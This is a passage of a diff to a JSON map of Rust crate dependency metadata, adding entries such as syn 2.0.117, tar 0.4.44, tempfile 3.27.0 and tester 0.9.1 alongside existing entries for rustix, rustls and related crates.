\\\"64\\\")))))))\"},{\"default_features\":false,\"name\":\"libc\",\"optional\":true,\"req\":\"^0.2.182\",\"target\":\"cfg(all(not(rustix_use_libc), not(miri), target_os = \\\"linux\\\", any(target_endian = \\\"little\\\", any(target_arch = \\\"s390x\\\", target_arch = \\\"powerpc\\\")), any(target_arch = \\\"arm\\\", all(target_arch = \\\"aarch64\\\", target_pointer_width = \\\"64\\\"), target_arch = \\\"riscv64\\\", all(rustix_use_experimental_asm, target_arch = \\\"powerpc\\\"), all(rustix_use_experimental_asm, target_arch = \\\"powerpc64\\\"), all(rustix_use_experimental_asm, target_arch = \\\"s390x\\\"), all(rustix_use_experimental_asm, target_arch = \\\"mips\\\"), all(rustix_use_experimental_asm, target_arch = \\\"mips32r6\\\"), all(rustix_use_experimental_asm, target_arch = \\\"mips64\\\"), all(rustix_use_experimental_asm, target_arch = \\\"mips64r6\\\"), target_arch = \\\"x86\\\", all(target_arch = \\\"x86_64\\\", target_pointer_width = \\\"64\\\"))))\"},{\"kind\":\"dev\",\"name\":\"libc\",\"req\":\"^0.2.171\"},{\"default_features\":false,\"name\":\"libc_errno\",\"package\":\"errno\",\"req\":\"^0.3.10\",\"target\":\"cfg(all(not(windows), any(rustix_use_libc, miri, not(all(target_os = \\\"linux\\\", any(target_endian = \\\"little\\\", any(target_arch = \\\"s390x\\\", target_arch = \\\"powerpc\\\")), any(target_arch = \\\"arm\\\", all(target_arch = \\\"aarch64\\\", target_pointer_width = \\\"64\\\"), target_arch = \\\"riscv64\\\", all(rustix_use_experimental_asm, target_arch = \\\"powerpc\\\"), all(rustix_use_experimental_asm, target_arch = \\\"powerpc64\\\"), all(rustix_use_experimental_asm, target_arch = \\\"s390x\\\"), all(rustix_use_experimental_asm, target_arch = \\\"mips\\\"), all(rustix_use_experimental_asm, target_arch = \\\"mips32r6\\\"), all(rustix_use_experimental_asm, target_arch = \\\"mips64\\\"), all(rustix_use_experimental_asm, target_arch = \\\"mips64r6\\\"), target_arch = \\\"x86\\\", all(target_arch = \\\"x86_64\\\", target_pointer_width = \\\"64\\\")))))))\"},{\"default_features\":false,\"name\":\"libc_errno\",\"package\":\"errno\",\"req\":\"^0.3.10\",\"target\":\"cfg(windows)\"},{\"default_features\":false,\"name\":\"libc_errno\",\"optional\":true,\"package\":\"errno\",\"req\":\"^0.3.10\",\"target\":\"cfg(all(not(rustix_use_libc), not(miri), target_os = \\\"linux\\\", any(target_endian = \\\"little\\\", any(target_arch = \\\"s390x\\\", target_arch = \\\"powerpc\\\")), any(target_arch = \\\"arm\\\", all(target_arch = \\\"aarch64\\\", target_pointer_width = \\\"64\\\"), target_arch = \\\"riscv64\\\", all(rustix_use_experimental_asm, target_arch = \\\"powerpc\\\"), all(rustix_use_experimental_asm, target_arch = \\\"powerpc64\\\"), all(rustix_use_experimental_asm, target_arch = \\\"s390x\\\"), all(rustix_use_experimental_asm, target_arch = \\\"mips\\\"), all(rustix_use_experimental_asm, target_arch = \\\"mips32r6\\\"), all(rustix_use_experimental_asm, target_arch = \\\"mips64\\\"), all(rustix_use_experimental_asm, target_arch = \\\"mips64r6\\\"), target_arch = \\\"x86\\\", all(target_arch = \\\"x86_64\\\", target_pointer_width = \\\"64\\\"))))\"},{\"default_features\":false,\"kind\":\"dev\",\"name\":\"libc_errno\",\"package\":\"errno\",\"req\":\"^0.3.10\"},{\"default_features\":false,\"features\":[\"general\",\"ioctl\",\"no_std\"],\"name\":\"linux-raw-sys\",\"req\":\"^0.12\",\"target\":\"cfg(all(any(target_os = \\\"linux\\\", target_os = \\\"android\\\"), any(rustix_use_libc, miri, not(all(target_os = \\\"linux\\\", any(target_endian = \\\"little\\\", any(target_arch = \\\"s390x\\\", target_arch = \\\"powerpc\\\")), any(target_arch = \\\"arm\\\", all(target_arch = \\\"aarch64\\\", target_pointer_width = \\\"64\\\"), target_arch = \\\"riscv64\\\", all(rustix_use_experimental_asm, target_arch = \\\"powerpc\\\"), all(rustix_use_experimental_asm, target_arch = \\\"powerpc64\\\"), all(rustix_use_experimental_asm, target_arch = \\\"s390x\\\"), all(rustix_use_experimental_asm, target_arch = \\\"mips\\\"), all(rustix_use_experimental_asm, target_arch = \\\"mips32r6\\\"), all(rustix_use_experimental_asm, target_arch = \\\"mips64\\\"), all(rustix_use_experimental_asm, target_arch = \\\"mips64r6\\\"), target_arch = \\\"x86\\\", all(target_arch = \\\"x86_64\\\", target_pointer_width = \\\"64\\\")))))))\"},{\"default_features\":false,\"features\":[\"auxvec\",\"general\",\"errno\",\"ioctl\",\"no_std\",\"elf\"],\"name\":\"linux-raw-sys\",\"req\":\"^0.12\",\"target\":\"cfg(all(not(rustix_use_libc), not(miri), target_os = \\\"linux\\\", any(target_endian = \\\"little\\\", any(target_arch = \\\"s390x\\\", target_arch = \\\"powerpc\\\")), any(target_arch = \\\"arm\\\", all(target_arch = \\\"aarch64\\\", target_pointer_width = \\\"64\\\"), target_arch = \\\"riscv64\\\", all(rustix_use_experimental_asm, target_arch = \\\"powerpc\\\"), all(rustix_use_experimental_asm, target_arch = \\\"powerpc64\\\"), all(rustix_use_experimental_asm, target_arch = \\\"s390x\\\"), all(rustix_use_experimental_asm, target_arch = \\\"mips\\\"), all(rustix_use_experimental_asm, target_arch = \\\"mips32r6\\\"), all(rustix_use_experimental_asm, target_arch = \\\"mips64\\\"), all(rustix_use_experimental_asm, target_arch = \\\"mips64r6\\\"), target_arch = \\\"x86\\\", all(target_arch = \\\"x86_64\\\", target_pointer_width = \\\"64\\\"))))\"},{\"kind\":\"dev\",\"name\":\"memoffset\",\"req\":\"^0.9.0\"},{\"kind\":\"dev\",\"name\":\"once_cell\",\"req\":\"^1.20.3\",\"target\":\"cfg(windows)\"},{\"name\":\"rustc-std-workspace-alloc\",\"optional\":true,\"req\":\"^1.0.0\"},{\"kind\":\"dev\",\"name\":\"serial_test\",\"req\":\"^2.0.0\"},{\"kind\":\"dev\",\"name\":\"static_assertions\",\"req\":\"^1.1.0\"},{\"kind\":\"dev\",\"name\":\"tempfile\",\"req\":\"^3.5.0\"},{\"features\":[\"Win32_Foundation\",\"Win32_Networking_WinSock\"],\"name\":\"windows-sys\",\"req\":\">=0.52, <0.62\",\"target\":\"cfg(windows)\"}],\"features\":{\"all-apis\":[\"event\",\"fs\",\"io_uring\",\"mm\",\"mount\",\"net\",\"param\",\"pipe\",\"process\",\"pty\",\"rand\",\"runtime\",\"shm\",\"stdio\",\"system\",\"termios\",\"thread\",\"time\"],\"alloc\":[],\"default\":[\"std\"],\"event\":[],\"fs\":[],\"io_uring\":[\"event\",\"fs\",\"net\",\"thread\",\"linux-raw-sys/io_uring\"],\"linux_4_11\":[],\"linux_5_1\":[\"linux_4_11\"],\"linux_5_11\":[\"linux_5_1\"],\"linux_latest\":[\"linux_5_11\"],\"mm\":[],\"mount\":[],\"net\":[\"linux-raw-sys/net\",\"linux-raw-sys/netlink\",\"linux-raw-sys/if_ether\",\"linux-raw-sys/xdp\"],\"param\":[],\"pipe\":[],\"process\":[\"linux-raw-sys/prctl\"],\"pty\":[\"fs\"],\"rand\":[],\"runtime\":[\"linux-raw-sys/prctl\"],\"rustc-dep-of-std\":[\"core\",\"rustc-std-workspace-alloc\",\"linux-raw-sys/rustc-dep-of-std\",\"bitflags/rustc-dep-of-std\"],\"shm\":[\"fs\"],\"std\":[\"bitflags/std\",\"alloc\",\"libc?/std\",\"libc_errno?/std\"],\"stdio\":[],\"system\":[\"linux-raw-sys/system\"],\"termios\":[],\"thread\":[\"linux-raw-sys/prctl\"],\"time\":[],\"try_close\":[],\"use-explicitly-provided-auxv\":[],\"use-libc\":[\"libc_errno\",\"libc\"],\"use-libc-auxv\":[]}}", "rustls-native-certs_0.8.3": "{\"dependencies\":[{\"name\":\"openssl-probe\",\"req\":\"^0.2\",\"target\":\"cfg(all(unix, not(target_os = \\\"macos\\\")))\"},{\"features\":[\"std\"],\"name\":\"pki-types\",\"package\":\"rustls-pki-types\",\"req\":\"^1.10\"},{\"kind\":\"dev\",\"name\":\"ring\",\"req\":\"^0.17\"},{\"kind\":\"dev\",\"name\":\"rustls\",\"req\":\"^0.23\"},{\"kind\":\"dev\",\"name\":\"rustls-webpki\",\"req\":\"^0.103\"},{\"name\":\"schannel\",\"req\":\"^0.1\",\"target\":\"cfg(windows)\"},{\"name\":\"security-framework\",\"req\":\"^3\",\"target\":\"cfg(target_os = \\\"macos\\\")\"},{\"kind\":\"dev\",\"name\":\"serial_test\",\"req\":\"^3\"},{\"kind\":\"dev\",\"name\":\"tempfile\",\"req\":\"^3.5\"},{\"kind\":\"dev\",\"name\":\"untrusted\",\"req\":\"^0.9\"},{\"kind\":\"dev\",\"name\":\"webpki-roots\",\"req\":\"^1\"},{\"kind\":\"dev\",\"name\":\"x509-parser\",\"req\":\"^0.18\"}],\"features\":{}}", "rustls-pki-types_1.14.0": "{\"dependencies\":[{\"kind\":\"dev\",\"name\":\"crabgrind\",\"req\":\"=0.1.9\",\"target\":\"cfg(all(target_os = \\\"linux\\\", target_arch = \\\"x86_64\\\"))\"},{\"name\":\"web-time\",\"optional\":true,\"req\":\"^1\",\"target\":\"cfg(all(target_family = \\\"wasm\\\", target_os = \\\"unknown\\\"))\"},{\"name\":\"zeroize\",\"optional\":true,\"req\":\"^1\"}],\"features\":{\"alloc\":[\"dep:zeroize\"],\"default\":[\"alloc\"],\"std\":[\"alloc\"],\"web\":[\"web-time\"]}}", "rustls-webpki_0.103.10": "{\"dependencies\":[{\"default_features\":false,\"name\":\"aws-lc-rs\",\"optional\":true,\"req\":\"^1.14\"},{\"kind\":\"dev\",\"name\":\"base64\",\"req\":\"^0.22\"},{\"kind\":\"dev\",\"name\":\"bencher\",\"req\":\"^0.1.5\"},{\"kind\":\"dev\",\"name\":\"bzip2\",\"req\":\"^0.6\"},{\"kind\":\"dev\",\"name\":\"once_cell\",\"req\":\"^1.17.2\"},{\"default_features\":false,\"name\":\"pki-types\",\"package\":\"rustls-pki-types\",\"req\":\"^1.12\"},{\"default_features\":false,\"features\":[\"aws_lc_rs\"],\"kind\":\"dev\",\"name\":\"rcgen\",\"req\":\"^0.14.2\"},{\"default_features\":false,\"name\":\"ring\",\"optional\":true,\"req\":\"^0.17\"},{\"features\":[\"derive\"],\"kind\":\"dev\",\"name\":\"serde\",\"req\":\"^1.0\"},{\"kind\":\"dev\",\"name\":\"serde_json\",\"req\":\"^1.0\"},{\"name\":\"untrusted\",\"req\":\"^0.9\"},{\"kind\":\"dev\",\"name\":\"x509-parser\",\"req\":\"^0.18.1\"}],\"features\":{\"alloc\":[\"ring?/alloc\",\"pki-types/alloc\"],\"aws-lc-rs\":[\"dep:aws-lc-rs\",\"aws-lc-rs/aws-lc-sys\",\"aws-lc-rs/prebuilt-nasm\"],\"aws-lc-rs-fips\":[\"dep:aws-lc-rs\",\"aws-lc-rs/fips\"],\"aws-lc-rs-unstable\":[\"aws-lc-rs\",\"aws-lc-rs/unstable\"],\"default\":[\"std\"],\"ring\":[\"dep:ring\"],\"std\":[\"alloc\",\"pki-types/std\"]}}", @@ -1318,6 +1362,7 @@ "supports-color_3.0.2": "{\"dependencies\":[{\"name\":\"is_ci\",\"req\":\"^1.2.0\"}],\"features\":{}}", "syn_1.0.109": "{\"dependencies\":[{\"kind\":\"dev\",\"name\":\"anyhow\",\"req\":\"^1.0\"},{\"kind\":\"dev\",\"name\":\"automod\",\"req\":\"^1.0\"},{\"kind\":\"dev\",\"name\":\"flate2\",\"req\":\"^1.0\"},{\"kind\":\"dev\",\"name\":\"insta\",\"req\":\"^1.0\"},{\"default_features\":false,\"name\":\"proc-macro2\",\"req\":\"^1.0.46\"},{\"default_features\":false,\"name\":\"quote\",\"optional\":true,\"req\":\"^1.0\"},{\"kind\":\"dev\",\"name\":\"rayon\",\"req\":\"^1.0\"},{\"kind\":\"dev\",\"name\":\"ref-cast\",\"req\":\"^1.0\"},{\"kind\":\"dev\",\"name\":\"regex\",\"req\":\"^1.0\"},{\"features\":[\"blocking\"],\"kind\":\"dev\",\"name\":\"reqwest\",\"req\":\"^0.11\"},{\"kind\":\"dev\",\"name\":\"syn-test-suite\",\"req\":\"^0\"},{\"kind\":\"dev\",\"name\":\"tar\",\"req\":\"^0.4.16\"},{\"kind\":\"dev\",\"name\":\"termcolor\",\"req\":\"^1.0\"},{\"name\":\"unicode-ident\",\"req\":\"^1.0\"},{\"kind\":\"dev\",\"name\":\"walkdir\",\"req\":\"^2.1\"}],\"features\":{\"clone-impls\":[],\"default\":[\"derive\",\"parsing\",\"printing\",\"clone-impls\",\"proc-macro\"],\"derive\":[],\"extra-traits\":[],\"fold\":[],\"full\":[],\"parsing\":[],\"printing\":[\"quote\"],\"proc-macro\":[\"proc-macro2/proc-macro\",\"quote/proc-macro\"],\"test\":[\"syn-test-suite/all-features\"],\"visit\":[],\"visit-mut\":[]}}", "syn_2.0.114": "{\"dependencies\":[{\"kind\":\"dev\",\"name\":\"anyhow\",\"req\":\"^1\"},{\"kind\":\"dev\",\"name\":\"automod\",\"req\":\"^1\"},{\"kind\":\"dev\",\"name\":\"flate2\",\"req\":\"^1\",\"target\":\"cfg(not(miri))\"},{\"kind\":\"dev\",\"name\":\"insta\",\"req\":\"^1\"},{\"default_features\":false,\"name\":\"proc-macro2\",\"req\":\"^1.0.91\"},{\"default_features\":false,\"name\":\"quote\",\"optional\":true,\"req\":\"^1.0.35\"},{\"kind\":\"dev\",\"name\":\"rayon\",\"req\":\"^1\",\"target\":\"cfg(not(miri))\"},{\"kind\":\"dev\",\"name\":\"ref-cast\",\"req\":\"^1\"},{\"features\":[\"blocking\"],\"kind\":\"dev\",\"name\":\"reqwest\",\"req\":\"^0.13\",\"target\":\"cfg(not(miri))\"},{\"kind\":\"dev\",\"name\":\"rustversion\",\"req\":\"^1\"},{\"kind\":\"dev\",\"name\":\"syn-test-suite\",\"req\":\"^0\"},{\"kind\":\"dev\",\"name\":\"tar\",\"req\":\"^0.4.16\",\"target\":\"cfg(not(miri))\"},{\"kind\":\"dev\",\"name\":\"termcolor\",\"req\":\"^1\"},{\"name\":\"unicode-ident\",\"req\":\"^1\"},{\"kind\":\"dev\",\"name\":\"walkdir\",\"req\":\"^2.3.2\",\"target\":\"cfg(not(miri))\"}],\"features\":{\"clone-impls\":[],\"default\":[\"derive\",\"parsing\",\"printing\",\"clone-impls\",\"proc-macro\"],\"derive\":[],\"extra-traits\":[],\"fold\":[],\"full\":[],\"parsing\":[],\"printing\":[\"dep:quote\"],\"proc-macro\":[\"proc-macro2/proc-macro\",\"quote?/proc-macro\"],\"test\":[\"syn-test-suite/all-features\"],\"visit\":[],\"visit-mut\":[]}}", + "syn_2.0.117": "{\"dependencies\":[{\"kind\":\"dev\",\"name\":\"anyhow\",\"req\":\"^1\"},{\"kind\":\"dev\",\"name\":\"automod\",\"req\":\"^1\"},{\"kind\":\"dev\",\"name\":\"flate2\",\"req\":\"^1\",\"target\":\"cfg(not(miri))\"},{\"kind\":\"dev\",\"name\":\"insta\",\"req\":\"^1\"},{\"default_features\":false,\"name\":\"proc-macro2\",\"req\":\"^1.0.91\"},{\"default_features\":false,\"name\":\"quote\",\"optional\":true,\"req\":\"^1.0.35\"},{\"kind\":\"dev\",\"name\":\"rayon\",\"req\":\"^1\",\"target\":\"cfg(not(miri))\"},{\"kind\":\"dev\",\"name\":\"ref-cast\",\"req\":\"^1\"},{\"features\":[\"blocking\"],\"kind\":\"dev\",\"name\":\"reqwest\",\"req\":\"^0.13\",\"target\":\"cfg(not(miri))\"},{\"kind\":\"dev\",\"name\":\"rustversion\",\"req\":\"^1\"},{\"kind\":\"dev\",\"name\":\"syn-test-suite\",\"req\":\"^0\"},{\"kind\":\"dev\",\"name\":\"tar\",\"req\":\"^0.4.16\",\"target\":\"cfg(not(miri))\"},{\"kind\":\"dev\",\"name\":\"termcolor\",\"req\":\"^1\"},{\"name\":\"unicode-ident\",\"req\":\"^1\"},{\"kind\":\"dev\",\"name\":\"walkdir\",\"req\":\"^2.3.2\",\"target\":\"cfg(not(miri))\"}],\"features\":{\"clone-impls\":[],\"default\":[\"derive\",\"parsing\",\"printing\",\"clone-impls\",\"proc-macro\"],\"derive\":[],\"extra-traits\":[],\"fold\":[],\"full\":[],\"parsing\":[],\"printing\":[\"dep:quote\"],\"proc-macro\":[\"proc-macro2/proc-macro\",\"quote?/proc-macro\"],\"test\":[\"syn-test-suite/all-features\"],\"visit\":[],\"visit-mut\":[]}}", "sync_wrapper_1.0.2": "{\"dependencies\":[{\"kind\":\"dev\",\"name\":\"futures\",\"req\":\"^0.3\"},{\"default_features\":false,\"name\":\"futures-core\",\"optional\":true,\"req\":\"^0.3\"},{\"kind\":\"dev\",\"name\":\"pin-project-lite\",\"req\":\"^0.2.7\"}],\"features\":{\"futures\":[\"futures-core\"]}}", "synstructure_0.13.2": "{\"dependencies\":[{\"default_features\":false,\"name\":\"proc-macro2\",\"req\":\"^1.0.60\"},{\"default_features\":false,\"name\":\"quote\",\"req\":\"^1\"},{\"default_features\":false,\"features\":[\"derive\",\"parsing\",\"printing\",\"clone-impls\",\"visit\",\"extra-traits\"],\"name\":\"syn\",\"req\":\"^2\"},{\"kind\":\"dev\",\"name\":\"synstructure_test_traits\",\"req\":\"^0.1\"}],\"features\":{\"default\":[\"proc-macro\"],\"proc-macro\":[\"proc-macro2/proc-macro\",\"syn/proc-macro\",\"quote/proc-macro\"]}}", "syntect_5.3.0": "{\"dependencies\":[{\"name\":\"bincode\",\"optional\":true,\"req\":\"^1.0\"},{\"features\":[\"html_reports\"],\"kind\":\"dev\",\"name\":\"criterion\",\"req\":\"^0.3\"},{\"name\":\"fancy-regex\",\"optional\":true,\"req\":\"^0.16.2\"},{\"name\":\"flate2\",\"optional\":true,\"req\":\"^1.0\"},{\"name\":\"fnv\",\"optional\":true,\"req\":\"^1.0\"},{\"kind\":\"dev\",\"name\":\"getopts\",\"req\":\"^0.2\"},{\"name\":\"once_cell\",\"req\":\"^1.8\"},{\"default_features\":false,\"name\":\"onig\",\"optional\":true,\"req\":\"^6.5.1\"},{\"name\":\"plist\",\"optional\":true,\"req\":\"^1.3\"},{\"kind\":\"dev\",\"name\":\"pretty_assertions\",\"req\":\"^0.6\"},{\"kind\":\"dev\",\"name\":\"public-api\",\"req\":\"^0.50.1\"},{\"kind\":\"dev\",\"name\":\"rayon\",\"req\":\"^1.0.0\"},{\"kind\":\"dev\",\"name\":\"regex\",\"req\":\"^1.0\"},{\"name\":\"regex-syntax\",\"optional\":true,\"req\":\"^0.8\"},{\"kind\":\"dev\",\"name\":\"rustdoc-json\",\"req\":\"^0.9.7\"},{\"kind\":\"dev\",\"name\":\"rustup-toolchain\",\"req\":\"^0.1.5\"},{\"name\":\"serde\",\"req\":\"^1.0\"},{\"name\":\"serde_derive\",\"req\":\"^1.0\"},{\"name\":\"serde_json\",\"optional\":true,\"req\":\"^1.0\"},{\"kind\":\"dev\",\"name\":\"serde_json\",\"req\":\"^1.0\"},{\"name\":\"thiserror\",\"req\":\"^2.0.12\"},{\"name\":\"walkdir\",\"req\":\"^2.0\"},{\"name\":\"yaml-rust\",\"optional\":true,\"req\":\"^0.4.5\"}],\"features\":{\"default\":[\"default-onig\"],\"default-fancy\":[\"parsing\",\"default-syntaxes\",\"default-themes\",\"html\",\"plist-load\",\"yaml-load\",\"dump-load\",\"dump-create\",\"regex-fancy\"],\"default-onig\":[\"parsing\",\"default-syntaxes\",\"default-themes\",\"html\",\"plist-load\",\"yaml-load\",\"dump-load\",\"dump-create\",\"regex-onig\"],\"default-syntaxes\":[\"parsing\",\"dump-load\"],\"default-themes\":[\"dump-load\"],\"dump-create\":[\"flate2\",\"bincode\"],\"dump-load\":[\"flate2\",\"bincode\"],\"html\":[\"parsing\"],\"metadata\":[\"parsing\",\"plist-load\",\"dep:serde_json\"],\"parsing\":[\"regex-syntax\",\"fnv\",\"dump-create\",\"dump-load\"],\"plist-load\":[\"plist\",\"dep:serde_json\"],\"regex-fancy\":[\"fancy-regex\"],\"regex-onig\":[\"onig\"],\"yaml-load\":[\"yaml-rust\",\"parsing\"]}}", @@ -1325,7 +1370,9 @@ "system-configuration-sys_0.6.0": "{\"dependencies\":[{\"name\":\"core-foundation-sys\",\"req\":\"^0.8\"},{\"name\":\"libc\",\"req\":\"^0.2.149\"}],\"features\":{}}", "system-configuration_0.6.1": "{\"dependencies\":[{\"name\":\"bitflags\",\"req\":\"^2\"},{\"name\":\"core-foundation\",\"req\":\"^0.9\"},{\"name\":\"system-configuration-sys\",\"req\":\"^0.6\"}],\"features\":{}}", "tagptr_0.2.0": "{\"dependencies\":[],\"features\":{}}", + "tar_0.4.44": "{\"dependencies\":[{\"name\":\"filetime\",\"req\":\"^0.2.8\"},{\"name\":\"libc\",\"req\":\"^0.2\",\"target\":\"cfg(unix)\"},{\"kind\":\"dev\",\"name\":\"tempfile\",\"req\":\"^3\"},{\"name\":\"xattr\",\"optional\":true,\"req\":\"^1.1.3\",\"target\":\"cfg(unix)\"}],\"features\":{\"default\":[\"xattr\"]}}", "tempfile_3.24.0": "{\"dependencies\":[{\"kind\":\"dev\",\"name\":\"doc-comment\",\"req\":\"^0.3\"},{\"name\":\"fastrand\",\"req\":\"^2.1.1\"},{\"default_features\":false,\"name\":\"getrandom\",\"optional\":true,\"req\":\"^0.3.0\",\"target\":\"cfg(any(unix, windows, target_os = \\\"wasi\\\"))\"},{\"default_features\":false,\"features\":[\"std\"],\"name\":\"once_cell\",\"req\":\"^1.19.0\"},{\"features\":[\"fs\"],\"name\":\"rustix\",\"req\":\"^1.1.3\",\"target\":\"cfg(any(unix, target_os = \\\"wasi\\\"))\"},{\"features\":[\"Win32_Storage_FileSystem\",\"Win32_Foundation\"],\"name\":\"windows-sys\",\"req\":\">=0.52, <0.62\",\"target\":\"cfg(windows)\"}],\"features\":{\"default\":[\"getrandom\"],\"nightly\":[]}}", + "tempfile_3.27.0": "{\"dependencies\":[{\"kind\":\"dev\",\"name\":\"doc-comment\",\"req\":\"^0.3\"},{\"name\":\"fastrand\",\"req\":\"^2.1.1\"},{\"default_features\":false,\"name\":\"getrandom\",\"optional\":true,\"req\":\">=0.3.0, <0.5\",\"target\":\"cfg(any(unix, windows, target_os = \\\"wasi\\\"))\"},{\"default_features\":false,\"features\":[\"std\"],\"name\":\"once_cell\",\"req\":\"^1.19.0\"},{\"features\":[\"fs\"],\"name\":\"rustix\",\"req\":\"^1.1.4\",\"target\":\"cfg(any(unix, target_os = \\\"wasi\\\"))\"},{\"features\":[\"Win32_Storage_FileSystem\",\"Win32_Foundation\"],\"name\":\"windows-sys\",\"req\":\">=0.52, <0.62\",\"target\":\"cfg(windows)\"}],\"features\":{\"default\":[\"getrandom\"],\"nightly\":[]}}", "temporal_capi_0.1.2": "{\"dependencies\":[{\"default_features\":false,\"name\":\"diplomat\",\"req\":\"^0.14.0\"},{\"default_features\":false,\"name\":\"diplomat-runtime\",\"req\":\"^0.14.0\"},{\"default_features\":false,\"features\":[\"unstable\"],\"name\":\"icu_calendar\",\"req\":\"^2.1.0\"},{\"name\":\"icu_locale\",\"req\":\"^2.1.0\"},{\"default_features\":false,\"name\":\"num-traits\",\"req\":\"^0.2.19\"},{\"default_features\":false,\"name\":\"temporal_rs\",\"req\":\"^0.1.2\"},{\"name\":\"timezone_provider\",\"req\":\"^0.1.2\"},{\"name\":\"writeable\",\"req\":\"^0.6.0\"},{\"name\":\"zoneinfo64\",\"optional\":true,\"req\":\"^0.2.0\"}],\"features\":{\"compiled_data\":[\"temporal_rs/compiled_data\"],\"zoneinfo64\":[\"dep:zoneinfo64\",\"timezone_provider/zoneinfo64\"]}}", "temporal_rs_0.1.2": "{\"dependencies\":[{\"name\":\"core_maths\",\"req\":\"^0.1.1\"},{\"name\":\"iana-time-zone\",\"optional\":true,\"req\":\"^0.1.64\"},{\"default_features\":false,\"features\":[\"unstable\",\"compiled_data\"],\"name\":\"icu_calendar\",\"req\":\"^2.1.0\"},{\"name\":\"icu_locale\",\"req\":\"^2.1.0\"},{\"features\":[\"duration\"],\"name\":\"ixdtf\",\"req\":\"^0.6.4\"},{\"name\":\"log\",\"optional\":true,\"req\":\"^0.4.28\"},{\"default_features\":false,\"name\":\"num-traits\",\"req\":\"^0.2.19\"},{\"name\":\"timezone_provider\",\"req\":\"^0.1.2\"},{\"name\":\"tinystr\",\"req\":\"^0.8.0\"},{\"name\":\"web-time\",\"optional\":true,\"req\":\"^1.1.0\"},{\"name\":\"writeable\",\"req\":\"^0.6.0\"}],\"features\":{\"compiled_data\":[\"tzdb\"],\"default\":[\"sys\"],\"float64_representable_durations\":[],\"log\":[\"dep:log\"],\"std\":[],\"sys\":[\"std\",\"compiled_data\",\"dep:web-time\",\"dep:iana-time-zone\"],\"tzdb\":[\"std\",\"timezone_provider/tzif\"]}}", "term_0.7.0": "{\"dependencies\":[{\"name\":\"dirs-next\",\"req\":\"^2\"},{\"name\":\"rustversion\",\"req\":\"^1\",\"target\":\"cfg(windows)\"},{\"features\":[\"consoleapi\",\"wincon\",\"handleapi\",\"fileapi\"],\"name\":\"winapi\",\"req\":\"^0.3\",\"target\":\"cfg(windows)\"}],\"features\":{\"default\":[]}}", @@ -1337,6 +1384,7 @@ "test-case_3.3.1": "{\"dependencies\":[{\"kind\":\"dev\",\"name\":\"insta\",\"req\":\"^1.12\"},{\"kind\":\"dev\",\"name\":\"itertools\",\"req\":\"^0.11\"},{\"name\":\"regex\",\"optional\":true,\"req\":\"^1.5\"},{\"kind\":\"dev\",\"name\":\"regex\",\"req\":\"^1.5\"},{\"default_features\":false,\"name\":\"test-case-macros\",\"req\":\"^3.2.1\"}],\"features\":{\"with-regex\":[\"regex\",\"test-case-macros/with-regex\"]}}", "test-log-macros_0.2.19": "{\"dependencies\":[{\"default_features\":false,\"name\":\"proc-macro2\",\"req\":\"^1.0.32\"},{\"default_features\":false,\"name\":\"quote\",\"req\":\"^1.0\"},{\"default_features\":false,\"features\":[\"full\",\"parsing\",\"printing\",\"proc-macro\"],\"name\":\"syn\",\"req\":\"^2.0\"}],\"features\":{\"log\":[],\"trace\":[],\"unstable\":[]}}", "test-log_0.2.19": "{\"dependencies\":[{\"kind\":\"dev\",\"name\":\"_lazy_static_unused\",\"package\":\"lazy_static\",\"req\":\"^1.0.2\"},{\"default_features\":false,\"name\":\"env_logger\",\"optional\":true,\"req\":\"^0.11\"},{\"kind\":\"dev\",\"name\":\"logging\",\"package\":\"log\",\"req\":\"^0.4\"},{\"kind\":\"dev\",\"name\":\"rstest\",\"req\":\"^0.26\"},{\"kind\":\"dev\",\"name\":\"test-case\",\"req\":\"^3.1\"},{\"name\":\"test-log-macros\",\"req\":\"=0.2.19\"},{\"default_features\":false,\"features\":[\"rt-multi-thread\",\"macros\"],\"kind\":\"dev\",\"name\":\"tokio\",\"req\":\"^1.38\"},{\"kind\":\"dev\",\"name\":\"tracing\",\"req\":\"^0.1\"},{\"default_features\":false,\"features\":[\"env-filter\",\"fmt\"],\"name\":\"tracing-subscriber\",\"optional\":true,\"req\":\"^0.3.20\"}],\"features\":{\"color\":[\"env_logger?/auto-color\",\"tracing-subscriber?/ansi\"],\"default\":[\"log\",\"color\"],\"log\":[\"dep:env_logger\",\"test-log-macros/log\",\"tracing-subscriber?/tracing-log\"],\"trace\":[\"dep:tracing-subscriber\",\"test-log-macros/trace\"],\"unstable\":[\"test-log-macros/unstable\"]}}", + "tester_0.9.1": "{\"dependencies\":[{\"name\":\"cfg-if\",\"req\":\"^1.0.0\"},{\"name\":\"getopts\",\"req\":\"^0.2\"},{\"default_features\":false,\"name\":\"libc\",\"req\":\"^0.2\",\"target\":\"cfg(unix)\"},{\"name\":\"num_cpus\",\"req\":\"^1.13.0\"},{\"name\":\"term\",\"req\":\"^0.7\"}],\"features\":{\"asm_black_box\":[],\"capture\":[]}}", "textwrap_0.11.0": "{\"dependencies\":[{\"features\":[\"embed_all\"],\"name\":\"hyphenation\",\"optional\":true,\"req\":\"^0.7.1\"},{\"kind\":\"dev\",\"name\":\"lipsum\",\"req\":\"^0.6\"},{\"kind\":\"dev\",\"name\":\"rand\",\"req\":\"^0.6\"},{\"kind\":\"dev\",\"name\":\"rand_xorshift\",\"req\":\"^0.1\"},{\"name\":\"term_size\",\"optional\":true,\"req\":\"^0.3.0\"},{\"name\":\"unicode-width\",\"req\":\"^0.1.3\"},{\"kind\":\"dev\",\"name\":\"version-sync\",\"req\":\"^0.6\"}],\"features\":{}}", "textwrap_0.16.2": "{\"dependencies\":[{\"features\":[\"embed_en-us\"],\"name\":\"hyphenation\",\"optional\":true,\"req\":\"^0.8.4\"},{\"name\":\"smawk\",\"optional\":true,\"req\":\"^0.3.2\"},{\"name\":\"terminal_size\",\"optional\":true,\"req\":\"^0.4.0\"},{\"kind\":\"dev\",\"name\":\"termion\",\"req\":\"^4.0.2\",\"target\":\"cfg(unix)\"},{\"kind\":\"dev\",\"name\":\"unic-emoji-char\",\"req\":\"^0.9.0\"},{\"name\":\"unicode-linebreak\",\"optional\":true,\"req\":\"^0.1.5\"},{\"name\":\"unicode-width\",\"optional\":true,\"req\":\"^0.2.0\"},{\"kind\":\"dev\",\"name\":\"version-sync\",\"req\":\"^0.9.5\"}],\"features\":{\"default\":[\"unicode-linebreak\",\"unicode-width\",\"smawk\"]}}", "thiserror-impl_1.0.69": "{\"dependencies\":[{\"name\":\"proc-macro2\",\"req\":\"^1.0.74\"},{\"name\":\"quote\",\"req\":\"^1.0.35\"},{\"name\":\"syn\",\"req\":\"^2.0.87\"}],\"features\":{}}", @@ -1364,10 +1412,12 @@ "tokio_1.49.0": 